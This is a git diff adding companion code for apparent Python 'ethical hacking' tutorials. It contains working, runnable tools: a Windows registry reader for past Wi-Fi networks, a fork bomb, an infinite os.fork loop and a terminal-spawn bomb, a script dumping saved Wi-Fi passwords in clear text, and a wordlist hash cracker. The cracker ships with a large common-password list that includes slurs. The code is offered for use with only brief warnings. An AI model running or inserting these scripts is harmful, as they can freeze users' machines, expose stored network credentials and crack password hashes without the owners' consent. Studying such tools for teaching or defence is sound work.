+++ b/ethical-hacking/find-past-wifi-connections-on-windows/README.md
@@ -0,0 +1 @@
+# [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py b/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py
new file mode 100644
index 00000000..c362aa9c
--- /dev/null
+++ b/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py
@@ -0,0 +1,39 @@
+import winreg  # Import registry module.
+
+def val2addr(val):  # Convert value to address format.
+    addr = ''  # Initialize address.
+    try:
+        for ch in val:  # Loop through value characters.
+            addr += '%02x ' % ch  # Convert each character to hexadecimal.
+        addr = addr.strip(' ').replace(' ', ':')[0:17]  # Format address.
+    except:
+        return "N/A" # Return N/A if error occurs.
+    return addr  # Return formatted address.
+
+
+def printNets():  # Print network information.
+    net = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged"  # Registry key for network info.
+    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, net)  # Open registry key.
+    print('\n[*] Networks You have Joined:')  # Print header.
+    for i in range(100):  # Loop through possible network keys.
+        try:
+            guid = winreg.EnumKey(key, i)  # Get network key.
+            netKey = winreg.OpenKey(key, guid)  # Open network key.
+            try:
+                n, addr, t = winreg.EnumValue(netKey, 5)  # Get MAC address.
+                n, name, t = winreg.EnumValue(netKey, 4)  # Get network name.
+                if addr:
+                    macAddr = val2addr(addr)  # Convert MAC address.
+                else:
+                    macAddr = 'N/A'
+                netName = str(name)  # Convert network name to string.
+                print(f'[+] {netName} ----> {macAddr}')  # Print network info.
+            except WindowsError:  # Handle errors.
+                pass  # Continue loop.
+            winreg.CloseKey(netKey)  # Close network key.
+        except WindowsError:  # Handle errors.
+            break  # Exit loop.
+    winreg.CloseKey(key)  # Close registry key.
+
+ 
+printNets()  # Call printNets function.
diff --git a/ethical-hacking/fork-bomb/README.md b/ethical-hacking/fork-bomb/README.md
new file mode 100644
index 00000000..be4ecf37
--- /dev/null
+++ b/ethical-hacking/fork-bomb/README.md
@@ -0,0 +1 @@
+# [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/fork-bomb/fork_bomb.py b/ethical-hacking/fork-bomb/fork_bomb.py
new file mode 100644
index 00000000..672e7ed1
--- /dev/null
+++ b/ethical-hacking/fork-bomb/fork_bomb.py
@@ -0,0 +1,45 @@
+"""Using `multiprocessing` module to spawn processes as a cross-platform fork bomb."""
+# Import necessary modules.
+from multiprocessing import Process, cpu_count
+import time
+
+# Define a function named counter that takes a number parameter.
+def counter(number):
+    # Run a loop until number reaches 0.
+    while number > 0:
+        number -= 1
+        # Introduce a sleep of 100 ms to intentionally slow down the loop.
+        time.sleep(0.1)  # Adjust sleep time as needed to make it slower.
+
+
+def spawn_processes(num_processes):
+    # Create a list of Process instances, each targeting the counter function.
+    processes = [Process(target=counter, args=(1000,)) for _ in range(num_processes)]
+    # Start each process.
+    for process in processes:
+        process.start()
+        print(f"Started process {process.pid}.")
+    # Wait for each process to finish before moving on.
+    for process in processes:
+        process.join()
+        print(f"Process {process.pid} has finished.")
+
+# Define the main function.
+def main():
+    # Get the number of logical processors on the system.
+    num_processors = cpu_count()
+    # Create a large number of processes (num_processors * 200).
+    num_processes = num_processors * 200 # Adjust the number of processes to spawn as needed.
+    print(f"Number of logical processors: {num_processors}")
+    print(f"Creating {num_processes} processes.")
+    print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.")
+    # Run an infinite loop if you want.
+    # while True:
+    #     spawn_processes(num_processes)
+    # For demonstration purposes, run the function once and monitor the task manager.
+    spawn_processes(num_processes)
+
+
+# Execute the main function.
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/ethical-hacking/fork-bomb/fork_bomb_simplest.py b/ethical-hacking/fork-bomb/fork_bomb_simplest.py
new file mode 100644
index 00000000..69abe8b8
--- /dev/null
+++ b/ethical-hacking/fork-bomb/fork_bomb_simplest.py
@@ -0,0 +1,9 @@
+"""Simplest form of a fork bomb. It creates a new process in an infinite loop using os.fork().
+It only works on Unix-based systems, and it will consume all system resources, potentially freezing the system.
+Be careful when running this code."""
+import os
+# import time
+
+while True:
+    os.fork()
+    # time.sleep(0.5)
\ No newline at end of file
diff --git a/ethical-hacking/fork-bomb/terminal_spawn_bomb.py b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py
new file mode 100644
index 00000000..8f03e615
--- /dev/null
+++ b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py
@@ -0,0 +1,38 @@
+"""A terminal spawn bomb that infinitely opens a new terminal window on the host system.
+Be careful when running this script, as it overwhelms the system with terminal windows.
+The time.sleep() is introduced to test the script."""
+import os
+import subprocess
+import time
+
+# List of common terminal emulators
+terminal_emulators = [
+    "gnome-terminal",  # GNOME
+    "konsole",         # KDE
+    "xfce4-terminal",  # XFCE
+    "lxterminal",      # LXDE
+    "mate-terminal",   # MATE
+    "terminator",
+    "xterm",
+    "urxvt"
+]
+
+def open_terminal():
+    for emulator in terminal_emulators:
+        try:
+            if subprocess.call(["which", emulator], stdout=subprocess.DEVNULL) == 0:
+                os.system(f"{emulator} &")
+                return True
+        except Exception as e:
+            continue
+    print("No known terminal emulator found!")
+    return False
+
+while True:
+    if os.name == "nt":
+        os.system("start cmd")
+    else:
+        if not open_terminal():
+            break  # Break the loop if no terminal emulator is found
+    # Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script.
+    time.sleep(0.5)  # Adjust sleep time as needed to make it slower.
diff --git a/ethical-hacking/get-wifi-passwords/README.md b/ethical-hacking/get-wifi-passwords/README.md
index e24eda7f..a10efc10 100644
--- a/ethical-hacking/get-wifi-passwords/README.md
+++ b/ethical-hacking/get-wifi-passwords/README.md
@@ -1 +1,3 @@
-# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python)
\ No newline at end of file
+# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python)
+
+This program lists saved Wi-Fi networks and their passwords on Windows and Linux machines. In addition to the SSID (Wi-Fi network name) and passwords, the output also shows the network’s security type and ciphers.
\ No newline at end of file
diff --git a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py
index 0afd70ca..ff32f6f8 100644
--- a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py
+++ b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py
@@ -28,10 +28,16 @@ def get_windows_saved_wifi_passwords(verbose=1):
         [list]: list of extracted profiles, a profile has the fields ["ssid", "ciphers", "key"]
     """
     ssids = get_windows_saved_ssids()
-    Profile = namedtuple("Profile", ["ssid", "ciphers", "key"])
+    Profile = namedtuple("Profile", ["ssid", "security", "ciphers", "key"])
     profiles = []
     for ssid in ssids:
         ssid_details = subprocess.check_output(f"""netsh wlan show profile "{ssid}" key=clear""").decode()
+
+        #get the security type
+        security = re.findall(r"Authentication\s(.*)", ssid_details)
+        # clear spaces and colon
+        security = "/".join(dict.fromkeys(c.strip().strip(":").strip() for c in security))
+
         # get the ciphers
         ciphers = re.findall(r"Cipher\s(.*)", ssid_details)
         # clear spaces and colon
@@ -43,7 +49,7 @@ def get_windows_saved_wifi_passwords(verbose=1):
             key = key[0].strip().strip(":").strip()
         except IndexError:
             key = "None"
-        profile = Profile(ssid=ssid, ciphers=ciphers, key=key)
+        profile = Profile(ssid=ssid, security=security, ciphers=ciphers, key=key)
         if verbose >= 1:
             print_windows_profile(profile)
         profiles.append(profile)
@@ -52,12 +58,13 @@ def get_windows_saved_wifi_passwords(verbose=1):
 
 def print_windows_profile(profile):
     """Prints a single profile on Windows"""
-    print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}")
+    #print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}")
+    print(f"{profile.ssid:25}{profile.security:30}{profile.ciphers:35}{profile.key:50}")
 
 
 def print_windows_profiles(verbose):
     """Prints all extracted SSIDs along with Key on Windows"""
-    print("SSID                     CIPHER(S)      KEY")
+    print("SSID                     Securities                    CIPHER(S)                         KEY")
     print("-"*50)
     get_windows_saved_wifi_passwords(verbose)
 
diff --git a/ethical-hacking/hash-cracker/README.md b/ethical-hacking/hash-cracker/README.md
new file mode 100644
index 00000000..7f59fab6
--- /dev/null
+++ b/ethical-hacking/hash-cracker/README.md
@@ -0,0 +1,14 @@
+# [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python)
+To run this:
+- `pip install -r requirements.txt`
+- Get usage: `python crack_hashes.py --help`
+- Crack a SHA-256 hash using `wordlist.txt`:
+    ```bash
+    $ python crack_hashes.py 6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090 wordlist.txt --hash-type sha256
+    ```
+    **Output:**
+    ```
+    [*] Cracking hash 6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090 using sha256 with a list of 14344394 words.
+    Cracking hash:  96%|███████████████████████████████████████████████████████████████████████████████████████████▉    | 13735317/14344394 [00:20<00:00, 664400.58it/s]
+    [+] Found password: abc123
+    ```
\ No newline at end of file
diff --git a/ethical-hacking/hash-cracker/crack_hashes.py b/ethical-hacking/hash-cracker/crack_hashes.py
new file mode 100644
index 00000000..5e98db51
--- /dev/null
+++ b/ethical-hacking/hash-cracker/crack_hashes.py
@@ -0,0 +1,53 @@
+import hashlib
+from tqdm import tqdm
+
+# List of supported hash types
+hash_names = [
+    'blake2b', 
+    'blake2s', 
+    'md5', 
+    'sha1', 
+    'sha224', 
+    'sha256', 
+    'sha384', 
+    'sha3_224', 
+    'sha3_256', 
+    'sha3_384', 
+    'sha3_512', 
+    'sha512',
+]
+
+def crack_hash(hash, wordlist, hash_type=None):
+    """Crack a hash using a wordlist.
+
+    Args:
+        hash (str): The hash to crack.
+        wordlist (str): The path to the wordlist.
+
+    Returns:
+        str: The cracked hash.
+    """
+    hash_fn = getattr(hashlib, hash_type, None)
+    if hash_fn is None or hash_type not in hash_names:
+        # not supported hash type
+        raise ValueError(f'[!] Invalid hash type: {hash_type}, supported are {hash_names}')
+    # Count the number of lines in the wordlist to set the total
+    total_lines = sum(1 for line in open(wordlist, 'r'))
+    print(f"[*] Cracking hash {hash} using {hash_type} with a list of {total_lines} words.")
+    # open the wordlist
+    with open(wordlist, 'r') as f:
+        # iterate over each line
+        for line in tqdm(f, desc='Cracking hash', total=total_lines):
+            if hash_fn(line.strip().encode()).hexdigest() == hash:
+                return line
+    
+    
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description='Crack a hash using a wordlist.')
+    parser.add_argument('hash', help='The hash to crack.')
+    parser.add_argument('wordlist', help='The path to the wordlist.')
+    parser.add_argument('--hash-type', help='The hash type to use.', default='md5')
+    args = parser.parse_args()
+    print()
+    print("[+] Found password:", crack_hash(args.hash, args.wordlist, args.hash_type))
diff --git a/ethical-hacking/hash-cracker/requirements.txt b/ethical-hacking/hash-cracker/requirements.txt
new file mode 100644
index 00000000..fa9cf064
--- /dev/null
+++ b/ethical-hacking/hash-cracker/requirements.txt
@@ -0,0 +1 @@
+tqdm
\ No newline at end of file
diff --git a/ethical-hacking/hash-cracker/wordlist.txt b/ethical-hacking/hash-cracker/wordlist.txt
new file mode 100644
index 00000000..554c961b
--- /dev/null
+++ b/ethical-hacking/hash-cracker/wordlist.txt
@@ -0,0 +1,5000 @@
+123456
+12345
+123456789
+password
+iloveyou
+princess
+12345678
+1234567
+nicole
+daniel
+monkey
+babygirl
+qwerty
+lovely
+654321
+michael
+jessica
+111111
+ashley
+000000
+iloveu
+michelle
+tigger
+sunshine
+chocolate
+password1
+soccer
+anthony
+friends
+purple
+angel
+butterfly
+jordan
+fuckyou
+123123
+justin
+liverpool
+football
+loveme
+secret
+andrea
+jennifer
+joshua
+carlos
+superman
+bubbles
+hannah
+1234567890
+amanda
+andrew
+loveyou
+pretty
+basketball
+angels
+flower
+tweety
+hello
+playboy
+charlie
+elizabeth
+samantha
+hottie
+chelsea
+tinkerbell
+shadow
+barbie
+666666
+jasmine
+lovers
+brandon
+teamo
+matthew
+melissa
+eminem
+robert
+danielle
+forever
+dragon
+computer
+whatever
+family
+jonathan
+cookie
+summer
+987654321
+naruto
+vanessa
+sweety
+joseph
+spongebob
+junior
+taylor
+softball
+mickey
+yellow
+lauren
+daniela
+princesa
+william
+alexandra
+thomas
+jesus
+alexis
+miguel
+estrella
+patrick
+angela
+mylove
+poohbear
+beautiful
+iloveme
+sakura
+adrian
+121212
+destiny
+alexander
+christian
+america
+monica
+dancer
+112233
+sayang
+richard
+diamond
+orange
+555555
+princess1
+carolina
+steven
+louise
+rangers
+snoopy
+hunter
+999999
+killer
+nathan
+789456
+11111
+buster
+shorty
+gabriel
+cherry
+george
+cheese
+sandra
+alejandro
+rachel
+brittany
+ginger
+patricia
+alejandra
+7777777
+159753
+pokemon
+pepper
+arsenal
+maggie
+peanut
+baseball
+dolphin
+heather
+david
+tequiero
+chicken
+blink182
+antonio
+222222
+victoria
+sweetie
+rainbow
+stephanie
+987654
+beauty
+honey
+00000
+fernando
+cristina
+corazon
+kisses
+manuel
+angel1
+martin
+heaven
+november
+55555
+rebelde
+greenday
+123321
+ricardo
+batman
+babygurl
+madison
+123abc
+mother
+alyssa
+morgan
+asshole
+december
+bailey
+mahalkita
+september
+mariposa
+maria
+sophie
+jeremy
+gemini
+pamela
+gabriela
+shannon
+iloveyou2
+kimberly
+jessie
+pictures
+austin
+claudia
+hellokitty
+booboo
+master
+harley
+angelica
+babygirl1
+victor
+horses
+courtney
+tiffany
+mahalko
+eduardo
+kissme
+mariana
+peaches
+andres
+banana
+precious
+chris
+october
+ronaldo
+inuyasha
+veronica
+iloveyou1
+888888
+freedom
+james
+prince
+oliver
+jesus1
+zxcvbnm
+adriana
+samsung
+cutie
+friend
+crystal
+edward
+scooby
+celtic
+rebecca
+jackie
+carmen
+kenneth
+diana
+angelo
+johnny
+456789
+sebastian
+school
+spiderman
+karina
+mustang
+christopher
+slipknot
+august
+orlando
+0123456789
+samuel
+monkey1
+adidas
+cameron
+barcelona
+casper
+bitch
+kitten
+internet
+50cent
+kevin
+cutiepie
+brenda
+bonita
+babyboy
+maganda
+karen
+natalie
+fuckoff
+123654
+isabel
+sarah
+silver
+cuteako
+javier
+jasper
+789456123
+777777
+tigers
+marvin
+rockstar
+bowwow
+nicholas
+chester
+laura
+portugal
+smokey
+denise
+asdfgh
+flowers
+january
+tintin
+alicia
+volleyball
+101010
+bianca
+garfield
+cristian
+dennis
+cassie
+696969
+chrisbrown
+sweet
+francis
+midnight
+strawberry
+panget
+love123
+lollipop
+benfica
+aaaaaa
+olivia
+welcome
+apples
+charles
+cancer
+qwertyuiop
+ihateyou
+vincent
+mercedes
+nirvana
+jordan23
+letmein
+camila
+monique
+superstar
+harrypotter
+fucker
+scorpio
+pookie
+icecream
+christine
+benjamin
+mexico
+abigail
+charmed
+131313
+lorena
+lovelove
+abcdef
+katherine
+andreea
+333333
+rafael
+brianna
+love
+aaliyah
+brooke
+johncena
+dakota
+gangsta
+jackson
+michael1
+hiphop
+travis
+sabrina
+metallica
+julian
+stephen
+jeffrey
+sergio
+mybaby
+babyblue
+fluffy
+badboy
+simple
+smiley
+catherine
+dolphins
+melanie
+blondie
+westlife
+newyork
+fernanda
+sasuke
+88888888
+muffin
+piglet
+roberto
+teresa
+steaua
+jason
+minnie
+ronald
+asdfghjkl
+popcorn
+raymond
+slideshow
+kitty
+santiago
+scooter
+5201314
+dexter
+jerome
+jayson
+246810
+ladybug
+gandako
+cookies
+gatita
+leslie
+babyko
+lalala
+christ
+alberto
+232323
+jenny
+sweetheart
+chivas
+leonardo
+nicole1
+rockon
+marcus
+valeria
+anthony1
+babydoll
+jayjay
+brooklyn
+cocacola
+12345678910
+sexygirl
+bitch1
+liliana
+happy
+chris1
+amores
+eeyore
+natasha
+skittles
+fatima
+252525
+single
+lover
+london
+winnie
+159357
+miamor
+123456a
+colombia
+manutd
+lakers
+hahaha
+britney
+albert
+katrina
+teddybear
+linda
+elephant
+grace
+christina
+marie
+stupid
+hockey
+0123456
+pasaway
+snickers
+mahal
+turtle
+tatiana
+charlotte
+smile
+147258369
+cantik
+qazwsx
+teiubesc
+genesis
+shelby
+natalia
+spider
+francisco
+147258
+xavier
+kelsey
+amorcito
+angelito
+claire
+brandy
+manchester
+paola
+fuckyou1
+mommy1
+marina
+147852
+bandit
+phoenix
+rabbit
+amigos
+444444
+garcia
+bonnie
+linkinpark
+marlon
+sharon
+guitar
+dallas
+starwars
+disney
+monster
+frankie
+diego
+red123
+pimpin
+pumpkin
+iverson
+54321
+andrei
+england
+soccer1
+sparky
+fashion
+justine
+allison
+emily
+102030
+lucky1
+456123
+wilson
+potter
+danny
+matrix
+miranda
+bestfriend
+number1
+canada
+people
+thunder
+hermosa
+barney
+player
+savannah
+camille
+sporting
+katie
+nelson
+212121
+yankees
+scotland
+timothy
+hearts
+iloveu2
+truelove
+hottie1
+jasmin
+smiles
+bubble
+onelove
+jayden
+florida
+ilovehim
+parola
+ganda
+brandon1
+jackass
+shakira
+motorola
+tennis
+sweets
+estrellita
+westside
+nikki
+evelyn
+biteme
+monkeys
+maryjane
+lucky
+trinity
+loverboy
+ronnie
+love12
+elijah
+joanna
+emmanuel
+familia
+broken
+compaq
+1234
+omarion
+hello1
+999999999
+mamita
+rodrigo
+justin1
+jamaica
+california
+isabella
+shopping
+fuckyou2
+gracie
+nothing
+kathleen
+cupcake
+mauricio
+sammy
+abcdefg
+bradley
+amigas
+mariah
+loser
+connor
+preciosa
+ferrari
+snowball
+elaine
+robbie
+hector
+flores
+jorge
+trustno1
+darling
+candy
+martinez
+sunflower
+millie
+jamie
+melody
+blessed
+cheche
+dominic
+joanne
+valentina
+swimming
+pebbles
+tyler
+friendster
+santos
+taurus
+dreams
+a123456
+aaron
+gloria
+loving
+gangster
+sweetpea
+kitkat
+sunshine1
+google
+jessica1
+cheyenne
+dustin
+violet
+apple
+sydney
+darren
+megan
+darkangel
+kelly
+cynthia
+zachary
+froggy
+charlie1
+sophia
+skater
+123qwe
+raiders
+purple1
+bettyboop
+darkness
+oscar
+iubire
+money
+chacha
+jordan1
+010203
+inlove
+batista
+bestfriends
+marian
+gerald
+carebear
+green
+daddy1
+pogiako
+karla
+billabong
+sexyme
+willow
+cooper
+pinky
+daddysgirl
+ashley1
+bambam
+tigger1
+amber
+fuckme
+erika
+nenita
+dreamer
+bella
+gatito
+butter
+123789
+buttercup
+glitter
+passion
+lokita
+sister
+maldita
+nichole
+lindsey
+sierra
+lindsay
+anderson
+booger
+miller
+caroline
+eagles
+loveya
+marissa
+lovebug
+nicolas
+cecilia
+zacefron
+tokiohotel
+lollypop
+bubblegum
+kristine
+mario
+puppies
+mememe
+carter
+chubby
+scorpion
+ariana
+sammie
+11111111
+stella
+raquel
+kristen
+qwerty1
+lonely
+stacey
+baller
+chance
+hotstuff
+angelina
+roxana
+james1
+susana
+sexybitch
+rocker
+williams
+012345
+babylove
+rocky
+sweet16
+freddy
+lolita
+remember
+football1
+catdog
+kayla
+playgirl
+loveme1
+marcos
+zxcvbn
+yamaha
+gustavo
+bhebhe
+PASSWORD
+hotdog
+202020
+daddy
+151515
+milagros
+caitlin
+vampire
+lovely1
+ireland
+skyline
+matthew1
+xxxxxx
+beyonce
+lilmama
+georgia
+martha
+gerard
+armando
+undertaker
+margarita
+bryan
+kittycat
+tristan
+lizzie
+dance
+loves
+password2
+money1
+amistad
+tamara
+boomer
+simpsons
+justme
+capricorn
+maddie
+andrew1
+amelia
+delfin
+legolas
+sheila
+141414
+harvey
+cheerleader
+chiquita
+gateway
+cowboys
+janine
+penguin
+enrique
+patches
+scoobydoo
+genius
+badgirl
+israel
+carlitos
+happy1
+dancing
+cuteme
+lester
+angeles
+peewee
+walter
+jesuschrist
+awesome
+thebest
+deedee
+lucky7
+chichi
+buddy1
+angie
+00000000
+ashton
+winter
+michelle1
+hardcore
+tinker
+myself
+janice
+paloma
+tazmania
+regina
+cinderella
+molly
+miriam
+poopoo
+animal
+april
+ilovejesus
+david1
+murphy
+please
+felipe
+spencer
+tekiero
+princesita
+jesucristo
+pussycat
+johnson
+lipgloss
+melvin
+rosita
+jazmin
+celeste
+mierda
+scarface
+pangit
+silvia
+arturo
+741852963
+mylife
+trixie
+gorgeous
+hernandez
+chicago
+panthers
+daisy
+yourmom
+ilovegod
+xbox360
+babyboo
+kristina
+crazy
+hawaii
+honeyko
+valerie
+nikita
+sparkle
+debbie
+loveu
+tucker
+098765
+hollywood
+wesley
+lupita
+alfredo
+hailey
+musica
+abcd1234
+sexymama
+lawrence
+242424
+jeremiah
+hayden
+bullshit
+marley
+chloe
+qwert
+barbara
+1q2w3e4r
+micheal
+lolipop
+panther
+jimmy
+trouble
+united
+sheena
+coffee
+87654321
+0987654321
+diamonds
+pineapple
+isaiah
+brian
+blonde
+christmas
+bubbles1
+sandy
+jasmine1
+pantera
+marisol
+cesar
+twilight
+shadow1
+butterfly1
+bananas
+741852
+whitney
+mhine
+julius
+pauline
+madalina
+birthday
+anamaria
+drpepper
+beatriz
+eugene
+bobby
+donald
+desiree
+hannah1
+sweetness
+february
+moomoo
+twinkle
+friendship
+leanne
+simone
+shelly
+anita
+lover1
+marie1
+perfect
+beckham
+cookie1
+cowboy
+calvin
+123123123
+imissyou
+samson
+catalina
+damian
+ashlee
+autumn
+buddy
+bebita
+joshua1
+147852369
+andre
+iloveyou!
+titanic
+daniel1
+pollito
+nursing
+serenity
+mommy
+babyface
+torres
+bitches
+dinamo
+paradise
+reggie
+bulldogs
+852456
+animals
+willie
+juliana
+alison
+passw0rd
+sexylady
+robert1
+cassandra
+14344
+mendoza
+blossom
+mariel
+element
+bethany
+1111111
+1q2w3e
+creative
+harold
+bulldog
+mitchell
+diesel
+marshall
+amanda1
+marcela
+gerardo
+maverick
+peterpan
+tanner
+tyrone
+cutie1
+kucing
+chanel
+simpleplan
+paulina
+ILOVEYOU
+fabian
+pisces
+always
+hollister
+kaylee
+margaret
+grandma
+143143
+donkey
+salvador
+lovehurts
+stars
+rodriguez
+jason1
+sanchez
+boston
+thuglife
+181818
+patito
+thumper
+piolin
+theresa
+derrick
+helena
+dianne
+sweet1
+joseluis
+aquarius
+dancer1
+ashleigh
+aaaaa
+diosesamor
+bigboy
+danger
+brownie
+phillip
+sammy1
+panda
+maxwell
+mihaela
+trisha
+kitty1
+parker
+love4ever
+esther
+shane
+chinita
+alexandru
+pickles
+rosebud
+archie
+yvonne
+virginia
+heart
+hamster
+amormio
+rosario
+police
+gregory
+frances
+lorraine
+marius
+speedy
+hayley
+11223344
+arnold
+morena
+kaitlyn
+fantasy
+trevor
+sports
+audrey
+tweety1
+asdfg
+babycakes
+sexy123
+taylor1
+hello123
+babies
+golden
+12341234
+black
+gerrard
+italia
+justice
+brittney
+superman1
+catarina
+roxanne
+nintendo
+marco
+toyota
+753951
+lorenzo
+cuddles
+yasmin
+chrissy
+darwin
+rockme
+diablo
+rascal
+summer1
+nadine
+tyler1
+giggles
+sofia
+godisgood
+dominique
+rocku
+happiness
+jenjen
+castillo
+joyjoy
+shorty1
+russell
+ghetto
+wildcats
+kittykat
+madison1
+faith
+william1
+pelusa
+blahblah
+franklin
+beautiful1
+college
+mickey1
+curtis
+jocelyn
+fabiola
+cristo
+buttons
+junjun
+alisha
+cheer
+kayleigh
+gilbert
+unicorn
+rooney
+rochelle
+babygurl1
+julio
+cricket
+macmac
+singer
+montana
+cuteko
+vanilla
+1qaz2wsx
+winston
+merlin
+hershey
+philip
+bloods
+bigdaddy
+sarita
+slayer
+gabrielle
+naughty
+mississippi
+therock
+friends1
+tiger
+pikachu
+soledad
+mickeymouse
+marilyn
+shithead
+7654321
+sapphire
+busted
+johanna
+yolanda
+gwapako
+123654789
+prettygirl
+pickle
+emerald
+warren
+jacob
+nascar
+jellybean
+elizabeth1
+dragons
+pretty1
+love13
+ramona
+australia
+camilo
+scotty
+pink123
+bismillah
+pedro
+douglas
+pinkie
+holas
+yoyoyo
+photos
+briana
+carla
+lucky13
+callum
+9876543210
+shirley
+lavender
+hilary
+iceman
+aurora
+goddess
+erick
+ihateu
+janelle
+loveme2
+asshole1
+dylan
+little
+watermelon
+copper
+rahasia
+breanna
+lourdes
+juancarlos
+PRINCESS
+tania
+yellow1
+cheer1
+latina
+lovergirl
+windows
+papito
+hunter1
+010101
+22222
+ranger
+krystal
+idontknow
+kittens
+rocky1
+madonna
+diamond1
+damien
+iluvme
+emanuel
+teamomucho
+norman
+poohbear1
+kingkong
+171717
+goldfish
+cindy
+flower1
+music
+houston
+spanky
+wicked
+belinda
+iloveu1
+ballet
+rangers1
+valentine
+hotgirl
+peanut1
+boogie
+cuties
+teacher
+volcom
+yahoo
+142536
+charlene
+liberty
+babyphat
+shaggy
+caramelo
+selena
+mookie
+phoebe
+incubus
+baby123
+special
+wendy
+coolgirl
+lovelife
+billy
+0000000000
+connie
+myname
+loulou
+chelsea1
+maymay
+handsome
+alexa
+a12345
+buster1
+lucero
+richie
+steelers
+crazy1
+marlboro
+kristin
+love1
+chicken1
+1435254
+rayray
+angelita
+sniper
+paula
+peter
+arthur
+tommy
+walker
+guadalupe
+124578
+kissmyass
+goober
+linkin
+candy1
+esmeralda
+peace
+dayana
+marisa
+iloveme1
+converse
+random
+ramirez
+champion
+sexybabe
+angel123
+nathaniel
+spongebob1
+harry
+2cute4u
+atlanta
+sassy1
+falloutboy
+molly1
+jesse
+dianita
+1111111111
+gothic
+sassy
+161616
+eunice
+nissan
+sexy12
+12345a
+0000000
+family1
+hotchick
+080808
+giovanni
+sagitario
+preston
+kelvin
+juventus
+danica
+shutup
+cutegirl
+lacoste
+campanita
+winner
+password123
+snuggles
+fatboy
+realmadrid
+951753
+iverson3
+stefan
+leelee
+ronaldinho
+erica
+austin1
+skippy
+bernard
+newcastle
+esteban
+maribel
+moises
+thomas1
+spirit
+tiger1
+missy
+mahalkoh
+blueeyes
+fresita
+hotpink
+pakistan
+tequieromucho
+loser1
+taytay
+honey1
+playboy1
+soulmate
+celticfc
+ecuador
+tagged
+michel
+carrie
+helpme
+judith
+michele
+kennedy
+brandi
+nancy
+111222
+stanley
+arlene
+lunita
+pierre
+landon
+rachelle
+maurice
+darius
+newlife
+Password
+nicola
+southside
+hermione
+282828
+unique
+mackenzie
+cooldude
+alexia
+99999
+ernesto
+domino
+cosita
+france
+hummer
+mamapapa
+coolcat
+morales
+edgar
+nigger
+katelyn
+rodney
+dimples
+bunny
+chocolate1
+gonzalez
+children
+father
+starlight
+dillon
+rivera
+eclipse
+fender
+moonlight
+iluvu
+viviana
+something
+esperanza
+marlene
+cassidy
+abcde
+softball1
+234567
+sunset
+love22
+godbless
+garrett
+kathryn
+77777
+pitbull
+baby12
+romance
+chopper
+fucku
+ingrid
+blue123
+clover
+groovy
+warrior
+smudge
+134679
+allstar
+annie
+goldie
+swordfish
+snowflake
+ricky
+yugioh
+blabla
+shasha
+theone
+redsox
+dragon1
+ballin
+karate
+ragnarok
+doraemon
+daisy1
+freddie
+julie
+puppy
+success
+paramore
+online
+runescape
+wizard
+geraldine
+jermaine
+blue22
+dimple
+romania
+bhaby
+loveless
+meghan
+bitchy
+thailand
+alonso
+tweetybird
+mykids
+bella1
+jefferson
+cherries
+maggie1
+seventeen
+coconut
+mariela
+emotional
+computer1
+sponge
+smallville
+peluche
+serena
+poopie
+cheryl
+gladys
+punkrock
+191919
+mexico1
+cameron1
+amber1
+262626
+green1
+andreita
+ximena
+asdasd
+boricua
+basket
+vanesa
+janjan
+070707
+marjorie
+kendra
+kaykay
+joyce
+destiny1
+blueberry
+john316
+kevin1
+acuario
+butthead
+mollie
+harmony
+jupiter
+whatever1
+athena
+kirsty
+brother
+granny
+aileen
+negrita
+abraham
+angelbaby
+booboo1
+doggie
+michaela
+dipset
+blacky
+bonbon
+alexis1
+danilo
+munchkin
+patrick1
+samantha1
+mikey
+cheeky
+babyboy1
+mmmmmm
+ilovemyself
+wrestling
+dragonfly
+guillermo
+chandler
+nathan1
+lasvegas
+miracle
+bintang
+love69
+harrison
+casey
+harley1
+alfonso
+moreno
+qwe123
+jillian
+eternity
+stinky
+yourock
+maureen
+bullet
+asdfjkl;
+jazmine
+manunited
+carlo
+duncan
+heyhey
+seven7
+christy
+rock you
+iloveboys
+drowssap
+159951
+bailey1
+karlita
+bogdan
+lilwayne
+supergirl
+rachael
+catalin
+melisa
+bugsbunny
+hollie
+kenny
+wallace
+jaguar
+emilio
+makayla
+starfish
+welcome1
+holly
+jennifer1
+alianza
+mathew
+alfred
+pepper1
+juanita
+knight
+violeta
+puppylove
+baxter
+gymnastics
+ilovechris
+8675309
+caramel
+virgin
+goodgirl
+milkshake
+mckenzie
+redrose
+1password
+holiday
+fishing
+steven1
+santana
+kenzie
+badass
+baseball1
+logitech
+manuela
+monday
+ingeras
+katkat
+ginger1
+blackie
+aubrey
+felicia
+estefania
+estrela
+popeye
+love14
+godislove
+jajaja
+keisha
+america1
+scrappy
+freaky
+friday
+elena
+lenlen
+deanna
+geminis
+colleen
+danny1
+ariel
+holden
+hehehe
+frank
+sublime
+scott
+2hot4u
+coolio
+danielle1
+sarah1
+florin
+joseph1
+killer1
+alaska
+gordon
+teddy
+lizard
+argentina
+callie
+aaron1
+legend
+valentin
+futbol
+mayra
+yankee
+lifehack
+chelle
+sasha
+vegeta
+mermaid
+luisa
+roland
+myangel
